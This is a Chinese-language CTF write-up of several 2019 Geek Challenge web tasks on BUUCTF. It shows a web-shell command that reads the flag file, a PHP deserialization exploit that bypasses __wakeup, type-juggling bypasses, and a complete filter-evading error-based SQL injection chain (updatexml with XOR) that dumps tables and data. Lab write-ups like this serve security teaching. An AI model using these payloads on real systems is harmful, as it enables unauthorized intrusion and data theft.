目录

buu极客大挑战

# [极客大挑战 2019]Http

打开页面,查看源码,找到隐藏的php页面的路径,基础的http header做了就给flag

1

# [极客大挑战 2019]Knife

白给的shellSyc=system('tac /f*');

# [极客大挑战 2019]PHP

提示备份,下载www.zip,压缩包里有class.php,审计

index.php里包含了class.php,并接收一个select get参数

2

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

exp

$payload = new Name('admin',100);
echo urlencode(serialize($payload));
1
2

类里有个wakeup魔术方法,尝试修改对象的属性个数绕过,把2改3就可以了

3

# [极客大挑战 2019]BuyFlag

找到题目路径,访问,查看源码,里面有注释的php代码

三个限制,1.a student from CUIT,2.密码,3.金额

money,password都可以在源码里看到

4

没有找到a student from CUIT相关内容,最后可以通过抓包或者查看网站cookie,找到user:0,1就代表a student from CUIT

简单的绕过

1.第一层可以用404a绕过,他是字符串,和数字比较会自动转换,只保留开头的数字

2.第二层提示长度太长,可以使用科学计数法,9e9

6

# [极客大挑战 2019]HardSQL

参考:【BUUCTF-[极客大挑战 2019]HardSQL 1详解】 (opens new window)

报错注入

在sql语法里,可以使用^连接字段值和函数,进行异或运算

7

8

这里使用^拼接变量值和updatexml函数,updatexml函数会报错,回显出已经执行的结果,通过updatexml函数里不允许出现的字符0x7e来来让他报错(updatexml(0x7e,注入语句,0x7e));

测试,题目过滤了空格,等号,可以用括号绕过空格,用like绕过等号,最后补上注释符%23

?username=admin&password=1'^updatexml(0x7e,(select(version())),0x7e)%23
1

9

# 爆表
?username=admin&password=1'^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'geek'),0x7e),1)%23
# 爆字段 ~id,username,password~
?username=admin&password=1'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like"H4rDsq1"),0x7e),1)%23
# 爆数据
?username=admin&password=1'^updatexml(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)),0x7e),1)%23
1
2
3
4
5
6

爆flag,只爆出了一半,用substr函数时截不出来,好像被过滤了,用right,left代替了

10

# 前30位 flag{758142ee-d5c3-4320-8bca-b
?username=admin&password=1'^updatexml(1,concat(0x7e,left((select(group_concat(password))from(geek.H4rDsq1)),30),0x7e),1)%23
# 后30位 e-d5c3-4320-8bca-ba29957a9055}
?username=admin&password=1'^updatexml(1,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),20),0x7e),1)%23
1
2
3
4
最后一次更新于: 2024/10/01, 18:09:34